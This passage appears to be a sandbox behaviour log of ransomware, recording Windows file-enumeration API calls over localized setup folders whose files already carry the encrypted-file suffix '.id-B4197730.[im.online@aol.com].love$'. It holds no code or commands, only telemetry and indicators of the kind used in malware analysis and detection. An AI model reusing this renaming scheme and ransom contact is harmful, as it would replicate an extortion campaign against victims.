ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.048] FindNextFileW (in: hFindFile=0x6cff48, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.048] FindNextFileW (in: hFindFile=0x6cff48, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.048] FindClose (in: hFindFile=0x6cff48 | out: hFindFile=0x6cff48) returned 1 [0223.049] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.049] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1030", cAlternateFileName="")) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.049] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0223.052] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.052] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d6294e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d6294e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d6294e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.052] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5c57872, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5c57872, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5c7db6f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.052] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.052] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.052] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0223.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.053] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1031", cAlternateFileName="")) returned 1 [0223.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0223.186] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.186] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5ca3de5, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5ca3de5, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5cca0d7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.186] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5cca0d7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5cca0d7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5f78ad6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.187] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.187] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.187] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0223.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.188] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1032", cAlternateFileName="")) returned 1 [0223.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.188] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.189] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.189] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d16601, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d16601, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d16601, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.189] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d3c8c3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d3c8c3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d6294e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.189] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d8a4af, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d8a4af, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5dd50b4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.189] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d8a4af, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d8a4af, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5dd50b4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.189] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.190] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1033", cAlternateFileName="")) returned 1 [0223.190] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.190] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.191] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.191] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa77fd528, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa77fd528, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa77fd528, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.191] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa77fd528, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa77fd528, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7823ec8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.191] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5dd50b4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5dd50b4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa778ae79, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.191] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5dd50b4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5dd50b4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa778ae79, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.191] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.192] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1035", cAlternateFileName="")) returned 1 [0223.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.192] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.193] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.193] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7823ec8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7823ec8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa784b419, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.194] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa784b419, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa784b419, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7895cc5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.194] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.194] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.194] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.195] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1036", cAlternateFileName="")) returned 1 [0223.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.195] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.196] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.196] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa786fc5a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa786fc5a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7aabec5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.196] 